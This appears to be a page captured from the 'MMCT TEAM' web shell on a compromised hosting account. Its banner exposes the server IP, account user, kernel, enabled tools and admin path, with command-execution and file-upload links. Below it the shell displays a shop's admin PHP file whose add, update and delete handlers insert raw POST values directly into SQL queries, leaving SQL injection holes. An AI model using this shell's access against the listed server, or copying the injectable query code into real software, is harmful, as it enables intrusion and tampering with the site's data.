MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/imyrqtmy/public_html/ayusshiherbs/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/ayusshiherbs/admin/add_service.php
<?php
session_start();

include("includes/config.php");

if(isset($_POST['add_service'])){
    $service_name = $_POST['service_name'];
 

    $query = "INSERT INTO services (service_name) VALUES ('$service_name')";
    $query_run = mysqli_query($conn, $query);

    if($query_run){
      

        $_SESSION['status'] = "Data Uploaded Successfully";
          echo "<script>window.location.href='view-service.php';</script>";
        // header('Location: view-service.php');
        exit;
    } else {
        $_SESSION['status'] = "Data Not Uploaded Successfully";
        header('Location: service.php');
        exit;
    }
}



// update 

if(isset($_POST['update_service'])){
    $id = $_POST['id'];
    $service_name = $_POST['service_name'];

    $query = "UPDATE services SET service_name='$service_name' WHERE id ='$id' ";

    $query_run = mysqli_query($conn, $query);

    if($query_run){
       
        $_SESSION['status'] = "Updated Successfully";
           echo "<script>window.location.href='view-service.php';</script>";
        // header('Location: view-category.php');
    } else {
        $_SESSION['status'] = "Category Not Updated Successfully";
          echo "<script>window.location.href='view-service.php';</script>";
        // header('Location: view-category.php');
    }
}



// delete
if(isset($_POST['delete_service'])){
    $id = $_POST['delete_id'];

    $query = "DELETE FROM services WHERE id = '$id'";
    $query_run = mysqli_query($conn, $query);

    if($query_run){
        $_SESSION['status'] = "Deleted Successfully";
            echo "<script>window.location.href='view-service.php';</script>";
        // header('Location: view-service.php');
    } else {
        $_SESSION['status'] = "Not Deleted Successfully";
            echo "<script>window.location.href='view-service.php';</script>";
        // header('Location: view-service.php');
    }
}

MMCT - 2023